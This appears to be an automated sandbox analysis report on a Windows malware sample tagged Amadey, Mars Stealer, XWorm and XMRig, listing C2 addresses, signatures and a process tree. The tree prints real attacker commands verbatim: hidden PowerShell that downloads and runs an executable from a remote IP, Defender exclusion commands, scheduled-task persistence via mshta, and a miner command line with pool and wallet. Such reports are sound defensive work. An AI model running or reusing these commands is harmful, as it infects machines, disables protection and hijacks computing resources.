Overview

overview

10

Static

static

3

6e22a9de13...0d.exe

windows7-x64

10

6e22a9de13...0d.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20/03/2025, 03:12

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6e22a9de137c193aa2a710b192bdc23798c5451e7d110654e37f2887ac8e0e0d.exe

  • Size

    2.0MB

  • MD5

    66f70f15eac0cff85f402a04f64865ce

  • SHA1

    1670c3c309b3c43c27224491e4ecaa895dbd3d12

  • SHA256

    6e22a9de137c193aa2a710b192bdc23798c5451e7d110654e37f2887ac8e0e0d

  • SHA512

    1b8e9ecb06608e884e9ea06ff99680875139b2ce509c8e78bd7ac5c15901550277c5cbd96fa3b3b9119367e98e9127ea9ab6f2ab5769b0cf4ba255c53799be5d

  • SSDEEP

    49152:gzPUPikOkVPOQI0saUpU7WTR6cukCljXg:wUPp/f4ukCljX

Score
10/10
amadeymarsstealerxmrigxworm092155defaultdefense_evasiondiscoveryexecutionminerpersistenceratstealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

xworm

C2

however-canada.gl.at.ply.gg:62916

Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

Extracted

Family

marsstealer

Botnet

Default

C2

ctrlgem.xyz/gate.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Xworm Payload 2 IoCs
  • Mars Stealer

    An infostealer written in C++ based on other infostealers.

    stealermarsstealer
  • Marsstealer family
    marsstealer
  • Xmrig family
    xmrig
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
    defense_evasion
  • XMRig Miner payload 11 IoCs
    miner
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 13 IoCs
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 36 IoCs
  • Identifies Wine through registry keys 2 TTPs 6 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 8 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 32 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 51 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\6e22a9de137c193aa2a710b192bdc23798c5451e7d110654e37f2887ac8e0e0d.exe
    "C:\Users\Admin\AppData\Local\Temp\6e22a9de137c193aa2a710b192bdc23798c5451e7d110654e37f2887ac8e0e0d.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2460
    • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
      "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Downloads MZ/PE file
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2788
      • C:\Users\Admin\AppData\Local\Temp\10262510101\dW2A04h.exe
        "C:\Users\Admin\AppData\Local\Temp\10262510101\dW2A04h.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2812
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2812 -s 36
          4⤵
          • Loads dropped DLL
          PID:2092
      • C:\Users\Admin\AppData\Local\Temp\10263670101\DtSVjfo.exe
        "C:\Users\Admin\AppData\Local\Temp\10263670101\DtSVjfo.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2196
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2196 -s 36
          4⤵
          • Loads dropped DLL
          PID:2384
      • C:\Users\Admin\AppData\Local\Temp\10263690101\BbU7NdP.exe
        "C:\Users\Admin\AppData\Local\Temp\10263690101\BbU7NdP.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:692
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 692 -s 36
          4⤵
          • Loads dropped DLL
          PID:1860
      • C:\Users\Admin\AppData\Local\Temp\10264950101\Sbyncpk.exe
        "C:\Users\Admin\AppData\Local\Temp\10264950101\Sbyncpk.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:676
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 676 -s 36
          4⤵
          • Loads dropped DLL
          PID:2232
      • C:\Users\Admin\AppData\Local\Temp\10266570101\IUXds3n.exe
        "C:\Users\Admin\AppData\Local\Temp\10266570101\IUXds3n.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1476
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAaABpACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAdgBnACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAaABjACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHUAYQBiACMAPgA="
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1484
        • C:\Users\Admin\AppData\Roaming\WidgetServiice.exe
          "C:\Users\Admin\AppData\Roaming\WidgetServiice.exe"
          4⤵
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:1560
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WidgetServiice.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2712
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WidgetServiice.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2956
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2376
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2004
        • C:\Users\Admin\AppData\Roaming\fbuild.exe
          "C:\Users\Admin\AppData\Roaming\fbuild.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2664
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAbAB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAagByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGEAdwBqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGQAZwBuACMAPgA="
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1596
          • C:\Users\Admin\AppData\Local\Temp\build.exe
            "C:\Users\Admin\AppData\Local\Temp\build.exe"
            5⤵
            • Executes dropped EXE
            PID:2076
            • C:\Windows\System32\conhost.exe
              "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\build.exe"
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1680
              • C:\Windows\System32\cmd.exe
                "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                7⤵
                  PID:1740
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Drops file in System32 directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1668
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                    8⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Drops file in System32 directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1748
                • C:\Windows\System32\cmd.exe
                  "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                  7⤵
                    PID:1476
                    • C:\Windows\system32\schtasks.exe
                      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                      8⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2336
                  • C:\Windows\System32\cmd.exe
                    "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                    7⤵
                    • Loads dropped DLL
                    PID:2232
                    • C:\Users\Admin\AppData\Local\Temp\services64.exe
                      C:\Users\Admin\AppData\Local\Temp\services64.exe
                      8⤵
                      • Executes dropped EXE
                      PID:840
                      • C:\Windows\System32\conhost.exe
                        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services64.exe"
                        9⤵
                        • Suspicious use of SetThreadContext
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1700
                        • C:\Windows\System32\cmd.exe
                          "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                          10⤵
                            PID:2108
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                              11⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Drops file in System32 directory
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1032
                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                              powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                              11⤵
                              • Command and Scripting Interpreter: PowerShell
                              • Drops file in System32 directory
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3060
                          • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                            "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                            10⤵
                            • Executes dropped EXE
                            PID:1352
                            • C:\Windows\System32\conhost.exe
                              "C:\Windows\System32\conhost.exe" "/sihost64"
                              11⤵
                                PID:2700
                            • C:\Windows\System32\cmd.exe
                              C:\Windows/System32\cmd.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=41uyesNdYjvNtMefq4i8AE8BSCySYSPuuWhyr2EfZJJ4eruTWNmyAFpaKWdyKEeL17bacUi7ALsm2WoDxPDXj7QiGFpzkrR --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O3QJHF4wHz20zKQH0DbQM9oeUFpyp1OviyxNzDJudHQ" --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=5 --cinit-idle-cpu=50 --tls --cinit-stealth
                              10⤵
                              • Blocklisted process makes network request
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:2908
                  • C:\Users\Admin\AppData\Local\Temp\ebuild.exe
                    "C:\Users\Admin\AppData\Local\Temp\ebuild.exe"
                    5⤵
                    • Executes dropped EXE
                    PID:1660
                    • C:\Windows\System32\conhost.exe
                      "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\ebuild.exe"
                      6⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2536
                      • C:\Windows\System32\cmd.exe
                        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                        7⤵
                          PID:1624
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                            8⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Drops file in System32 directory
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2748
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                            8⤵
                            • Command and Scripting Interpreter: PowerShell
                            • Drops file in System32 directory
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1988
                        • C:\Windows\System32\cmd.exe
                          "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Local\Temp\services32.exe"
                          7⤵
                            PID:2972
                            • C:\Windows\system32\schtasks.exe
                              schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\AppData\Local\Temp\services32.exe"
                              8⤵
                              • Scheduled Task/Job: Scheduled Task
                              PID:2904
                          • C:\Windows\System32\cmd.exe
                            "cmd" cmd /c "C:\Users\Admin\AppData\Local\Temp\services32.exe"
                            7⤵
                            • Loads dropped DLL
                            PID:2172
                            • C:\Users\Admin\AppData\Local\Temp\services32.exe
                              C:\Users\Admin\AppData\Local\Temp\services32.exe
                              8⤵
                              • Executes dropped EXE
                              PID:2652
                              • C:\Windows\System32\conhost.exe
                                "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\services32.exe"
                                9⤵
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3016
                                • C:\Windows\System32\cmd.exe
                                  "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
                                  10⤵
                                    PID:2212
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
                                      11⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Drops file in System32 directory
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2516
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
                                      11⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Drops file in System32 directory
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1616
                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
                                    "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
                                    10⤵
                                    • Executes dropped EXE
                                    PID:2412
                                    • C:\Windows\System32\conhost.exe
                                      "C:\Windows\System32\conhost.exe" "/sihost32"
                                      11⤵
                                        PID:2148
                      • C:\Users\Admin\AppData\Local\Temp\10267740101\aZYFObO.exe
                        "C:\Users\Admin\AppData\Local\Temp\10267740101\aZYFObO.exe"
                        3⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        PID:2124
                      • C:\Users\Admin\AppData\Local\Temp\10268280101\amnew.exe
                        "C:\Users\Admin\AppData\Local\Temp\10268280101\amnew.exe"
                        3⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Drops file in Windows directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of WriteProcessMemory
                        PID:1812
                        • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                          "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
                          4⤵
                          • Downloads MZ/PE file
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Adds Run key to start application
                          • System Location Discovery: System Language Discovery
                          PID:2284
                          • C:\Users\Admin\AppData\Local\Temp\10033050101\3cd0435c3f.exe
                            "C:\Users\Admin\AppData\Local\Temp\10033050101\3cd0435c3f.exe"
                            5⤵
                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                            • Checks BIOS information in registry
                            • Executes dropped EXE
                            • Identifies Wine through registry keys
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2384
                          • C:\Users\Admin\AppData\Local\Temp\10033060101\533a3705d8.exe
                            "C:\Users\Admin\AppData\Local\Temp\10033060101\533a3705d8.exe"
                            5⤵
                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                            • Checks BIOS information in registry
                            • Executes dropped EXE
                            • Identifies Wine through registry keys
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:2052
                      • C:\Users\Admin\AppData\Local\Temp\10268790101\ltYwNVG.exe
                        "C:\Users\Admin\AppData\Local\Temp\10268790101\ltYwNVG.exe"
                        3⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2624
                        • C:\Users\Admin\AppData\Local\Temp\onefile_2624_133869140459300000\services.exe
                          C:\Users\Admin\AppData\Local\Temp\10268790101\ltYwNVG.exe
                          4⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:1556
                      • C:\Users\Admin\AppData\Local\Temp\10270460101\3d738f499c.exe
                        "C:\Users\Admin\AppData\Local\Temp\10270460101\3d738f499c.exe"
                        3⤵
                        • Executes dropped EXE
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        PID:2888
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c schtasks /create /tn oCfcNmaYD7m /tr "mshta C:\Users\Admin\AppData\Local\Temp\XJ8INUZcZ.hta" /sc minute /mo 25 /ru "Admin" /f
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:2896
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /create /tn oCfcNmaYD7m /tr "mshta C:\Users\Admin\AppData\Local\Temp\XJ8INUZcZ.hta" /sc minute /mo 25 /ru "Admin" /f
                            5⤵
                            • System Location Discovery: System Language Discovery
                            • Scheduled Task/Job: Scheduled Task
                            PID:536
                        • C:\Windows\SysWOW64\mshta.exe
                          mshta C:\Users\Admin\AppData\Local\Temp\XJ8INUZcZ.hta
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • Modifies Internet Explorer settings
                          PID:1852
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'CFDYZMABBECGOJAAOG173GJHNSR4DUTV.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                            5⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Downloads MZ/PE file
                            • Loads dropped DLL
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2148
                            • C:\Users\Admin\AppData\Local\TempCFDYZMABBECGOJAAOG173GJHNSR4DUTV.EXE
                              "C:\Users\Admin\AppData\Local\TempCFDYZMABBECGOJAAOG173GJHNSR4DUTV.EXE"
                              6⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious behavior: EnumeratesProcesses
                              PID:2328
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\10270470121\am_no.cmd" "
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:3016
                        • C:\Windows\SysWOW64\timeout.exe
                          timeout /t 2
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • Delays execution with timeout.exe
                          PID:2448
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:2460
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                            5⤵
                            • Command and Scripting Interpreter: PowerShell
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:852
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:920
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                            5⤵
                            • Command and Scripting Interpreter: PowerShell
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2320
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:2560
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                            5⤵
                            • Command and Scripting Interpreter: PowerShell
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2872
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /create /tn "2HtfUmazScP" /tr "mshta \"C:\Temp\F4SOzUbin.hta\"" /sc minute /mo 25 /ru "Admin" /f
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • Scheduled Task/Job: Scheduled Task
                          PID:2768
                        • C:\Windows\SysWOW64\mshta.exe
                          mshta "C:\Temp\F4SOzUbin.hta"
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • Modifies Internet Explorer settings
                          PID:2112
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                            5⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Downloads MZ/PE file
                            • Loads dropped DLL
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1972
                            • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                              "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                              6⤵
                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                              • Checks BIOS information in registry
                              • Executes dropped EXE
                              • Identifies Wine through registry keys
                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                              • Suspicious behavior: EnumeratesProcesses
                              PID:2224
                      • C:\Users\Admin\AppData\Local\Temp\10270900101\6b74b4dc56.exe
